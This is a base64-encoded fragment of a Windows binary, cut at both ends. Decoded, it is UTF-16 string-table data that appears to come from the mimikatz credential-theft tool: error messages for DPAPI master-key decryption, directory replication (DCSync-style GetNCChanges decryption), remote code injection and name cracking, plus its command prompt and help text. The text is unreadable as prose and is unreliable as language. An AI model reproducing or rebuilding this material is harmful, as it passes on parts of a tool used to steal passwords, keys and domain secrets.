CAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAUwBlAHIAdgBpAGMAZQAgAGkAcwAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAAdgBlAHIAcwBpAG8AbgAgAGkAbgAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAAUQBXAE8AUgBEAAAAAAAAAFIARQBTAE8AVQBSAEMARQBfAFIARQBRAFUASQBSAEUATQBFAE4AVABTAF8ATABJAFMAVAAAAAAARgBVAEwATABfAFIARQBTAE8AVQBSAEMARQBfAEQARQBTAEMAUgBJAFAAVABPAFIAAAAAAAAAAABSAEUAUwBPAFUAUgBDAEUAXwBMAEkAUwBUAAAAAAAAAE0AVQBMAFQASQBfAFMAWgAAAAAAAAAAAEwASQBOAEsAAAAAAAAAAABEAFcATwBSAEQAXwBCAEkARwBfAEUATgBEAEkAQQBOAAAAAAAAAAAARABXAE8AUgBEAAAAAAAAAEIASQBOAEEAUgBZAAAAAABFAFgAUABBAE4ARABfAFMAWgAAAFMAWgAAAAAAAAAAAE4ATwBOAEUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABoACAAQAAgACUAcAAKAEQAYQAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgBfAFQAUgBVAFMAVABfAFIARQBGAEUAUgBSAEEATAAAAAAAAAAAAEUAUgBSAE8AUgBfAE4ATwBfAFMAWQBOAFQAQQBDAFQASQBDAEEATABfAE0AQQBQAFAASQBOAEcAAAAAAAAAAABFAFIAUgBPAFIAXwBEAE8ATQBBAEkATgBfAE8ATgBMAFkAAAAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAAAAAAAEUAUgBSAE8AUgBfAE4ATwBUAF8AVQBOAEkAUQBVAEUAAAAAAAAAAABFAFIAUgBPAFIAXwBOAE8AVABfAEYATwBVAE4ARAAAAEUAUgBSAE8AUgBfAFIARQBTAE8ATABWAEkATgBHAAAATgBPAF8ARQBSAFIATwBSAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFIAcABjAFMAZQBjAHUAcgBpAHQAeQBDAGEAbABsAGIAYQBjAGsAIAA7ACAAUQB1AGUAcgB5AEMAbwBuAHQAZQB4AHQAQQB0AHQAcgBpAGIAdQB0AGUAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAAAAAAAAbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AE8AcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AEEAdQB0AGgASQBuAGYAbwBFAHgAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAATgBvACAAQgBpAG4AZABpAG4AZwAhAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcARgByAG8AbQBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnAEMAbwBtAHAAbwBzAGUAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAARABDACAAJwAlAHMAJwAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABiAGEAZAAgAHYAZQByAHMAaQBvAG4AIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAKAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAATgBvACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABDAGgAZQBjAGsAcwB1AG0AcwAgAGQAbwBuACcAdAAgAG0AYQB0AGMAaAAgACgAQwA6ADAAeAAlADAAOAB4ACAALQAgAFIAOgAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8AQwBSAEEAQwBLAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAbgBhAG0AZQBDAHIAYQBjAGsATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAXAB4ACUAMAAyAHgAAAAAADAAeAAlADAAMgB4ACwAIAAAAAAAAAAAACUAMAAyAHgAIAAAAAAAAAAlADAAMgB4AAAAAAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAAAAAACgB9ADsACgAAAAAAAAAAACUAcwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AZABpAHMAcABsAGEAeQBTAEkARAAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABvAGsAZQBuAAAAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAIwAgACUAcwAKAAAASQBOAEkAVAAAAAAAAAAAAEMATABFAEEATgAAAAAAAAAAAAAAAAAAAD4APgA+ACAAJQBzACAAbwBmACAAJwAlAHMAJwAgAG0AbwBkAHUAbABlACAAZgBhAGkAbABlAGQAIAA6ACAAJQAwADgAeAAKAAAAAAA6ADoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAAAAAACgAlADEANgBzAAAAAAAAACAAIAAtACAAIAAlAHMAAAAgACAAWwAlAHMAXQAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABjAG8AbQBtAGEAbgBkACAAbwBmACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAAAAAACgBNAG8AZAB1AGwAZQAgADoACQAlAHMAAAAAAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAAAAAABWAEEAVQBMAFQAIAB0AGUAcwB0AAAAAABDAFIARQBEACAAdABlAHMAdAAAAAAAAABDAE4ARwAgAGsAZQB5ACAAdABlAHMAdAAAAAAAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAAAAAAAAAAABjAHIAZQBkAGgAaQBzAHQAAAAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAbQBhAHMAdABlAHIAawBlAHkAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAHAAcgBvAHQAZQBjAHQAAABEAGUAcwBjAHIAaQBiAGUAIABhACAARABQAEEAUABJACAAYgBsAG8AYgAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABpAHQAIAB3AGkAdABoACAAQQBQAEkAIABvAHIAIABNAGEAcwB0AGUAcgBrAGUAeQAAAAAAAABiAGwAbwBiAAAAAAAAAAAAAAAAAAAAAABEAGEAdABhACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAgAHAAcgBvAGcAcgBhAG0AbQBpAG4AZwAgAGkAbgB0AGUAcgBmAGEAYwBlAAAAAAAAAAAAAAAAAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAAYwByAGUAZAAAAAAAAAAAAHYAYQB1AGwAdAAAAAAAAABjAGEAYwBoAGUAAAAAAAAAZABwAGEAcABpAAAAAAAAAGMAbgBnAAAAYwBhAHAAaQAAAAAAAAAAAGgAYQBzAGgAAAAAAGkAbgAAAAAAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoAIAAlAHMACgAAAAAAAABvAHUAdAAAAFcAcgBpAHQAZQAgAHQAbwAgAGYAaQBsAGUAIAAnACUAcwAnACAAaQBzACAATwBLAAoAAAAAAAAAZABhAHQAYQAgAC0AIAAAAHQAZQB4AHQAIAA6ACAAJQBzAAAAAAAAAGgAZQB4ACAAIAA6ACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAAAAAAAAAAAGQAYQB0AGEAAAAAAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AAABlAG4AdAByAG8AcAB5AAAAbQBhAGMAaABpAG4AZQAAAHAAcgBvAG0AcAB0AAAAAABjAAAAAAAAAAoAZABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABmAGwAYQBnAHMAIAAgACAAIAAgACAAIAA6ACAAAAAAAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzADoAIAAAAAAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAOgAgAAAAAABCAGwAbwBiADoACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAcgBvAHQAZQBjAHQAIAA7ACAAQwByAHkAcAB0AFAAcgBvAHQAZQBjAHQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcAByAG8AdABlAGMAdABlAGQAAAAAAAAAcwBpAGQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAeQBzAHQAZQBtAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAgAHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAAAAAACoAKgAgAE0AQQBDAEgASQBOAEUAIAAqACoACgAAAAAAKgAqACAAVQBTAEUAUgAgACoAKgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAEQAUABBAFAASQBfAFMAWQBTAFQARQBNADoAIAAAAAAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAG4AbwByAG0AYQBsAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAAAAAACAAKABzAGgAYQAxACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkACgAAAAAAAABwAHYAawAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUwBBACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABJAG4AcAB1AHQAIABtAGEAcwB0AGUAcgBrAGUAeQBzACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABzAGgAYQAxAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAAAAAAAAAAAKACAAIABbAGUAbgB0AHIAeQAgACUAdQBdACAAdwBpAHQAaAAgAFMASABBADEAIABhAG4AZAAgAFMASQBEADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEkAbgBwAHUAdAAgAGMAcgBlAGQAaABpAHMAd